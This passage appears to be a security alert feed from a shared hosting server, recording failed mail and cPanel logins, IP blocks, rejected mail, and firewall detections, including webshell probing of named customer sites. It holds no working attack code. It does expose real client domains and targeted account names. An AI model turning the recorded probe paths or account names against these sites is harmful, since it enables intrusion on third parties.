Jan 16 12:36:51 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.197.242.198 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.197.242.198
country_id: 1814991
description:
2026-01-16 12:36:53 dovecot_login authenticator failed for H=(4BX5yn0Jy) [183.197.242.198]:30985: 535 Incorrect authentication data (set_id=png-sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.57.170.166
country_id: 3175395
description:
2026-01-16 12:38:13 dovecot_plain authenticator failed for H=([100.64.100.6]) [2.57.170.166]:40964: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.204.2
country_id: 99237
description:
Jan 16 12:38:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.204.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.167
country_id: 3175395
description:
Jan 16 12:39:18 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.167 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.186.252.152
country_id: 248816
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Tests/Fixtures/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.125.141.80
country_id: 2245662
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/var-dumper/Tests/Fixtures HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.209
country_id: 1814991
description:
2026-01-16 12:47:24 dovecot_login authenticator failed for H=(buuzg) [171.110.83.209]:56606: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41046: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.209
country_id: 1814991
description:
2026-01-16 12:47:58 dovecot_login authenticator failed for H=(yezck) [171.110.83.209]:56606: 535 Incorrect authentication data


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.56
country_id: 690791
description:
2026-01-16 12:48:10 H=([77.83.39.56]) [77.83.39.56]:52105 F=<einkauf@briese.de> rejected RCPT <celine@ktlog.com.my>: SPF: 77.83.39.56 is not allowed to send mail from briese.de


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.173.42.196
country_id: 1562822
description:
[2026-01-16 12:48:47 +0800] info [cpaneld] 113.173.42.196 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 66.30.78.44
country_id: 6252001
description:
[2026-01-16 12:48:55 +0800] info [cpaneld] 66.30.78.44 - cofreth "GET /login/?login_only=1&user=cofreth&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.77.16.161
country_id: 1210997
description:
[2026-01-16 12:49:08 +0800] info [cpaneld] 103.77.16.161 - cofret "GET /login/?login_only=1&user=cofret&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofret (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.130.140.253
country_id: 3469034
description:
[2026-01-16 12:49:14 +0800] info [cpaneld] 179.130.140.253 - cofr "GET /login/?login_only=1&user=cofr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofr (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 191.118.33.75
country_id: 3895114
description:
[2026-01-16 12:49:19 +0800] info [cpaneld] 191.118.33.75 - co "GET /login/?login_only=1&user=co&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user co (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.118.78.176
country_id: 1210997
description:
[2026-01-16 12:49:00 +0800] info [cpaneld] 103.118.78.176 - cofrethcommy "GET /login/?login_only=1&user=cofrethcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofrethcommy (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 12:49:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:43583: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.253.0.7
country_id: 953987
description:
2026-01-16 12:50:40 H=([102.254.136.0]) [102.253.0.7]:43735 F=<notification@astlog.com.my> rejected RCPT <astpkg@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.155.93
country_id: 99237
description:
Jan 16 12:51:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.155.93 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.172.189.13
country_id: 3017382
description:
[2026-01-16 12:51:39 +0800] info [cpaneld] 217.172.189.13 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.116
country_id: 2395170
description:
Jan 16 12:51:45 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.116
country_id: 2395170
description:
Jan 16 12:51:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.116 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 12:52:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61319: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.87.203.155
country_id: 3469034
description:
Jan 16 12:53:16 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.87.203.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.110.83.209
country_id: 1814991
description:
Jan 16 12:53:19 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.110.83.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.209
country_id: 1814991
description:
2026-01-16 12:53:21 dovecot_login authenticator failed for H=(fmxim) [171.110.83.209]:65334: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.226.115.26
country_id: 3057568
description:
Jan 16 12:53:37 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.226.115.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.175
country_id: 3469034
description:
Jan 16 12:53:50 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 12:54:24 H=([45.144.212.242]) [45.144.212.242]:61940 F=<lynnied@mhtc.net> rejected RCPT <sales@wohcheong.com.my>: Unrouteable address


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.66.64.226
country_id: 3469034
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/company/introduction/syssales/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: www.mckd.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mckd.com.my/en/css/common.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.175
country_id: 3469034
description:
Jan 16 12:53:58 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 102.253.0.7
country_id: 953987
description:
2026-01-16 12:54:57 H=([102.254.136.0]) [102.253.0.7]:43728 F=<notification@ktlog.com.my> rejected RCPT <jacklim@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.56.81
country_id: 1733045
description:
2026-01-16 12:57:22 dovecot_plain authenticator failed for H=([192.168.12.56]) [113.211.56.81]:55596: 535 Incorrect authentication data (set_id=nocser)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 12:57:56 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.133.30
country_id: 3469034
description:
Jan 16 13:03:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.133.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.5.123
country_id: 690791
description:
Jan 16 13:04:38 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.5.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.133.30
country_id: 3469034
description:
Jan 16 13:04:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.133.30 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 13:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58120: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.60
country_id: 1269750
description:
Jan 16 13:04:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.60 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.18.23
country_id: 2300660
description:
Jan 16 13:04:11 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.18.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 13:07:35 H=([45.144.212.242]) [45.144.212.242]:61776 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <marina@astlog.com.my>: No Such User Here


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.185.147.80
country_id: 3469034
description:
Jan 16 13:06:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.185.147.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.109.233.181
country_id: 2017370
description:
Jan 16 13:12:31 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.109.233.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-01-16 13:12:33 dovecot_plain authenticator failed for H=(noxang) [89.109.233.181]:37026: 535 Incorrect authentication data (set_id=mail@kimmark.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.109.233.181
country_id: 2017370
description:
Jan 16 13:13:14 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.109.233.181 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.109.233.181
country_id: 2017370
description:
2026-01-16 13:13:16 dovecot_plain authenticator failed for H=(rubloty) [89.109.233.181]:53411: 535 Incorrect authentication data (set_id=dexter.sow@tujusetia.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.59.87.157
country_id: 3469034
domain: mail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.fimco.com.my/cgi-bin/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.187
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/c-bible/images/knowyourtyre.php||SC:/home2/fkrcom/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.140.79.2
country_id: 953987
domain: mail.fimco.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mail.fimco.com.my/cgi-bin HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 38.226.107.70
country_id: 3469034
description:
2026-01-16 13:15:38 dovecot_login authenticator failed for H=(72-107-226-38.edgetelecom.com.br) [38.226.107.70]:35682: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 13:15:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:41056: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.226.107.70
country_id: 3469034
description:
Jan 16 13:15:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.226.107.70 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 161.142.153.90
country_id: 1733045
description:
161.142.153.90 - - [16/Jan/2026:13:16:01 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662404&pdata=https%253A%252F%252Fmail.tujusetia.my%253A2096%252Fwebmaillogout.cgi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768540559 HTTP/2.0" 302 0 mail.tujusetia.my "https://mail.tujusetia.my:2096/webmaillogout.cgi" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:161.142.153.90


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-16 13:17:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:44186: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-16 13:20:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:61470: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.210.189.21
country_id: 3277605
description:
Jan 16 13:21:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.210.189.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.236
country_id: 1814991
description:
2026-01-16 13:21:09 dovecot_login authenticator failed for H=(bkekk) [171.110.83.236]:58643: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.92.240.196
country_id: 2921044
description:
Jan 16 13:21:26 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.92.240.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.210.189.21
country_id: 3277605
description:
Jan 16 13:22:00 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.210.189.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-16 13:24:34 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.152.76.65
country_id: 3469034
description:
Jan 16 13:25:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.152.76.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.110.83.236
country_id: 1814991
description:
2026-01-16 13:27:00 dovecot_login authenticator failed for H=(tcbyb) [171.110.83.236]:50993: 535 Incorrect authentication data (set_id=hr)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 13:32:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58146: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.82.84.202
country_id: 3686110
domain: www.geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.geminiflourmill.com/img/product_photos/111088.jpg HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 130.12.182.140
country_id: 2750405
description:
2026-01-16 13:34:45 H=([130.12.182.140]) [130.12.182.140]:58705 F=<noreply@ms-chemicals.net> rejected RCPT <enquiry@ms-chemicals.net>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.131
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/responsive.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.154
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/font-awesome.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.152
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/CorporateSBQRegular.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.138.209.145
country_id: 3996063
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/course/TOEFL-Exam-Preparatory-7 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.133
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/style.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.138
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/CorporateSBQMedium.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.226.91
country_id: 3437598
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/yaml/Escaper.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.142
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/bootstrap-theme.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.149
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.146
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/bootstrap.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.148
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/styles.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.143
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/fonts/VerveineW06Regular.woff2 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.137
country_id: 1880251
domain: www.inter-link.edu.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.inter-link.edu.my/site/css/ripple.min.css HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 13:36:07 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.251.3
country_id: 3469034
description:
Jan 16 13:36:13 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.251.3 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 147.185.132.144
country_id: 6252001
description:
2026-01-16 13:36:12 164992 [Warning] Aborted connection 164992 to db: 'unconnected' user: 'unauthenticated' host: '147.185.132.144' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.211.100.149
country_id: 3469034
description:
Jan 16 13:36:36 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.211.100.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 13:36:45 H=([45.144.212.242]) [45.144.212.242]:55557 F=<kamal@sunnyseafoodtrade.com> rejected RCPT <munch@nexuscollection.com>: Mailbox is full / Blocks limit exceeded / Inode limit exceeded


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.3
country_id: 2395170
description:
Jan 16 13:37:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.40
country_id: 3865483
description:
Jan 16 13:38:47 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.40 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.42
country_id: 3175395
description:
Jan 16 13:37:59 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.190.167.195
country_id: 3865483
description:
Jan 16 13:38:23 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.190.167.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.40
country_id: 3865483
description:
Jan 16 13:39:02 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.40 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.113.5
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-39.91.84.113.5||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.110.179.134
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Bundle HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 63.143.95.28
country_id: 3489940
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-kernel/Tests/Bundle/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 13:40:40 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.195
country_id: 3469034
description:
Jan 16 13:41:39 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.195 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.167.78
country_id: 99237
description:
Jan 16 13:42:01 sv3 auth[104249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.167.78 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
